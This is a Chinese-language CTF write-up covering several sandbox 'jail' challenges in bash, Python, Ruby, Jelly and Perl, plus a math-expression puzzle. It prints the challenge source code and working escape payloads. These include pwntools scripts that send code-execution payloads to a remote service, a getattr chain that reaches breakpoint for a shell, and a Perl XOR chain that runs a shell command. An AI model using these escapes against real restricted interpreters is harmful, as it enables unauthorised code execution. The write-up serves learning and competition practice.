blind-calc
所有用pwn.red/jail
部署的我docker都拉不起来 所以以下所有用到pwn.red/jail
的 都是本地直接运行的
题目提供了一个计算器的功能
根据报错可以知道是shell脚本
题目进行数学运算 可以考虑
通过a[$(COMMAND)]
这种语法来执行命令
filterd
M = 14 # no malicious code could ever be executed since this limit is so low, right?
def f(code):
assert len(code) <= M
assert all(ord(c) < 128 for c in code)
assert all(q not in code for q in ["exec",
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
exec(code, globals())
f(input("> "))
考虑覆盖M解除长度上限
i=input;f(i())
M*=9999;f(i())
print(open('flag.txt').read())
parity-1
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
偶数位上字符ascii必须是偶数 奇数位上必须是奇数
先fuzz那些函数可用 值得注意的是 第一位可以为空格 所以奇数位偶数也行
def fuzz():
for word in __builtins__.__dir__():
all_good = True
for i, v in enumerate(word):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
all_good = False
break
if all_good:
print(word, end=" ")
for word in __builtins__.__dir__():
all_good = True
for i, v in enumerate(word):
if not (ord(v) < 128 and i % 2 != ord(v) % 2):
all_good = False
break
if all_good:
print(word, end=" ")
fuzz()
# bin dir hex len vars None type zip abs any eval globals id iter open exit credits
eval没被禁 那么我们只需要想办法构造一个input()字符串 就能新开一个输入流操作
类似这样
' 和 " 的ascii码分别是奇数和偶数
于是可以构造出
eval (eval (' '"i"'n' 'p'"u"'t' '('")") )
首位空格 eval后面跟制表符(\x09)
这里两个eval的原因是 在eval内 字符串才可以这么拼接
不用eval的话就要用+
来凭借 手动构造比较累
SUS-Calculator
ruby jail
#!/usr/local/bin/ruby
class Calc
def self.+ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left + right
end
def self.- left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left - right
end
def self.* left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left * right
end
def self./ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left / right
end
def self.% left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left % right
end
end
STDOUT.sync = true
puts <<~HEADER
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
HEADER
loop do
print "> "
cmd = gets.chomp.split
if cmd.size != 3
puts "Usage: num (+|-|*|/|%) num"
next
end
left, op, right = cmd
puts Calc.send(op.to_sym, left, right)
end
接收三个参数传到Calc
里面
使用了send
方法进行动态方法调用 这里可以调用包括不属于Calc的方法 比如system
op.to_sym将字符串转为符号
ls system -al
执行ls -al
no-nonsense
socat -v -s TCP4-LISTEN:9999,tcpwrap=script,reuseaddr,fork EXEC:"python3 main.py",stderr
做个端口转发启个环境
#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since they will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp)
ban了'([=])'
看起来没法调用函数了 但是可以考虑用装饰器 python会将\r解析为\n 我们可以利用从而保持在input的输入流里使用装饰器
下面通过ast
ban了变量或函数名 这块考虑用全角 或者别的unicode字符
from pwn import *
r = remote("192.168.100.105",9999)
payload = '''@eval
@input
class a:pass
'''
r.recvuntil(b"> ")
r.sendline(payload.replace("\n","\r").encode())
r.interactive()
jellyjail
#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval
inp = input()[:2]
banned = "0123456789ỌŒƓVС"
if not all([c not in inp for c in banned]):
print('stop using banned')
exit()
jelly_eval(inp, [])
使用了jellylanguage
首先限制了输入长度为2 那么一定是要打开一个新的输入流的
可以使用Ɠƈɠ
Ɠ
在黑名单 ƈ
读一个没用 那么可以使用ɠ
这里如果没禁Ɠ
可以直接rce了
全局搜eval
发现Ɠ V v ŒV
这四个 ban了三个 只剩下v
于是考虑ɠv
打开一个新的输入流 并且执行其中的代码
此时可以用Ɠ
直接执行python代码了
get-and-call
#!/usr/local/bin/python3
obj = 0
while True:
print(f'obj: {obj}')
print('1. get attribute')
print('2. call method')
inp = input("choose > ")
if inp == '1':
obj = getattr(obj, input('attr > '), obj)
if inp == '2':
obj = obj()
提供了一个获取属性的方法 一个调用方法的方法
比如可以这样
<class 'int'>.__dir__()
懂得都懂了
<class 'int'>.__class__.__base__.__subclasses__()
到这一步就比较烦了 不能传参 也就是拿不到os._wrap_close
可以拿到的就第一个类和最后一个类
第一个是type
最后一个是_distutils_hack.shim
__entry__
存在__globals__
但是这里我们只能调用无参的方法 考虑breakpoint
通过popitem
一个个移除
from pwn import *
from subprocess import check_output
r = remote("192.168.100.105",9999)
r.recvuntil(b"choose > ")
def ga(attr: str):
r.sendline(b'1')
r.sendline(attr.encode())
def call():
r.sendline(b'2')
for i in range(16):
ga('__class__')
ga('__base__')
ga('__subclasses__')
call() # object.__subclasses__()
# get the last item of the list
ga('__reversed__')
call()
ga('__next__')
call() # object.__subclasses__()[-1] => _distutils_hack.shim
# use https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py#L220 to see which methods give builtins
ga('__enter__')
# _distutils_hack.shim.__enter__.__globals__ => _distutils_hack.__dict__
ga('__globals__')
if i < 15:
ga('popitem') # pop key:value pairs until the last value is <module 'sys'>
call()
continue
ga('values')
call()
ga('__reversed__')
call()
ga('__next__')
call()
ga('breakpointhook') # sys.breakpointhook() is equivalent to breakpoint
call()
r.interactive()
minieval-1
#!/usr/local/bin/perl
select(STDOUT); $| = 1;
{
print("> ");
my $input = <STDIN>;
chomp($input);
if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) {
print("Bye!");
exit(1)
}
$_ = eval($input);
redo
}
perljail
限制输入长度<=5 并且存在黑名单
\pL
不能输入uniocde字母 执行后的值没有回显
想办法构造出字符串 sh
就行 通过反引号执行
也就是需要构造出,7
通过.
进行字符串拼接
调试输出
sub print_hex {
my $value = shift;
foreach my $char (split //, $value) {
printf "0x%02X ", ord($char);
}
print "\n";
}
print("Value of \$_: ");
print_hex($_);
print("Value of \$;: ");
print_hex($;);
也就是要构造出0x2c 0x37
我们可用的字符有0x30-0x39(0-9) 0x5f(_)
可以用 &^|
位运算来操作
我们看看官方的payload
5 .0
$;=$_
_0
$;&$_
$;=$_
_^_
$_.=1
$;^$_
$;=$_
9 .6
$;^$_
$;=$_
$;^__
`$_`
通过ord('9') ^ ord('5') & ord('_')
构造出 ,
0x01 ^ ord('6')
构造出7
最终必须^__
来触发 否则不识别为字符串 因为我的思路构造不出来
我的思路如下 最终希望构造出
0x39 0x37
0x15 0x00
5 .5
$_&_
$;=$_
_^_
$;.$_
$;=$_ # 构造出0x15 0x00
9 .7 # 构造出0x39 0x37
$_^$; # 期望是0x2C 0x37 实际啥也没有
拿到shell后无回显 反弹shell
mathjail
#!/usr/local/bin/python3
from secrets import randbits
from typing import Callable, Iterator, Tuple
class MathJailError(Exception):
pass
class MathJail:
title: str
description: str
def __init__(self, max_size: int):
self.max_size = max_size
def run(self, code: str) -> bool:
func = self.validate(code)
for input, output in self.gen_test_cases():
user_output = func(input)
if not isinstance(user_output, int) or user_output != output:
return False
return True
def gen_test_cases(self) -> Iterator[Tuple[int, int]]:
raise NotImplementedError
def validate(self, code: str) -> Callable[[int], int]:
if len(code) > self.max_size:
raise MathJailError(f'Code is too large ({len(code)} > {self.max_size})')
for c in code:
if c not in 'n+-*/%()':
raise MathJailError(f'Illegal character: {c!r}')
try:
func = eval(f'lambda n: {code}', {}, {})
except Exception:
raise MathJailError(f'Could not compile expression')
return func
def __repr__(self):
return self.description
class IncrementJail(MathJail):
title = 'Add++'
description = 'Write an expression that takes a positive integer n, and returns n + 1 (e.g.\n' \
'n = 12 should yield 13).\n'
def gen_test_cases(self):
for n in range(1, 100):
output = n + 1
yield (n, output)
class OnesJail(MathJail):
title = 'Only 1s'
description = 'Write an expression that takes a positive integer n, and returns an integer\n' \
'with n successive ones (e.g. n = 7 should yield 1111111).\n'
def gen_test_cases(self):
for n in range(1, 100):
output = int('1' * n)
yield (n, output)
class PrimeJail(MathJail):
title = 'Prime Time'
description = 'Write an expression that takes a positive integer n, and returns 1 if n is\n' \
'prime, 0 otherwise (e.g. n = 37 should yield 1, but n = 35 should yield 0).\n'
def gen_test_cases(self):
for n in range(1, 500):
output = n >= 2 and all(n % d != 0 for d in range(2, n))
yield (n, output)
class FibonacciJail(MathJail):
title = 'Fibonacci'
description = 'Write an expression that takes a positive integer n, and returns the nth\n' \
'Fibonacci number (e.g. n = 1 should yield 0 and n = 7 should yield 8).\n'
def gen_test_cases(self):
a, b = 0, 1
for n in range(1, 100):
yield (n, a)
a, b = b, a + b
JAIL_LEVELS = [
IncrementJail(6),
OnesJail(50),
PrimeJail(100),
FibonacciJail(40),
]
if __name__ == '__main__':
print('Welcome to the MathJail! Prove to me that you are a true math intellectual, and I will\n'
'let you go. You may only use the most primitive tools (+, -, *, /, %) to aid in your\n'
'escape. The only limit is your imagination. Enjoy your stay.\n')
for i, jail in enumerate(JAIL_LEVELS):
print(f'Level {i+1}: {jail.title}')
print('-' * 30)
print(jail)
code = input(f'Enter your expression ({jail.max_size} characters max): ')
try:
result = jail.run(code)
except Exception as e:
print(e)
exit(1)
if not result:
print('You have failed.')
exit(1)
if i == len(JAIL_LEVELS) - 1:
with open('flag.txt', 'r') as f:
print(f"Noooooo, you have beaten me. OK, here's your reward: {f.read()}")
else:
print('Good job! You move on to the next level.\n')
一共四关 构造表达式符合题意即可
不能使用数字且有长度限制
首先是满足 f(n+1) = n+1
n + n//n
即可
level2要求输出长度为输入的1 也就是
$$\sum_{i=1}^{n} 10^{n-1}$$
等比数列求和 那么用n表示一下就行
(((n+n+n+n+n+n+n+n+n+n)//n)**n-n//n)//((n+n+n+n+n+n+n+n+n)//n)
但是长度超了 我们需要优化一下
(((n+n+n+n+n+n+n+n+n+n)//n)**n-1)//((n+n+n)*(n+n+n)//n//n)
(((n+n)*(n+n+n+n+n)//n//n)**n-1)//((n+n+n)*(n+n+n)//n//n)
((n+n)*(n+n+n+n+n)//n//n)**n*n*n//(n+n+n)//(n+n+n)
level3要求写出一个素数的判别式
discord上说是费马素性检验
没给过程 不知道怎么搞出来的
(n%n)**((n+n+n)//n%((((n+n)//n)**n-n//n)%n*((((n+n+n)//n)**n%n-(n+n)//n)%n)+(n+n)//n))
level4 discord上说是斐波那契生成函数
https://archive.lib.msu.edu/crcmath/math/math/f/f043.htm
$G(x) = \sum_{n=0}^{\infty} F(n) x^n = \frac{1}{1 - x - x^2}$
同样不知道怎么搞出来的
n**(n*n)//(n**(n+n)-n**n-n//n)%n**n
(n**n//n)**n%((n*n)**n-n**n-n//n)//n**n
这俩都行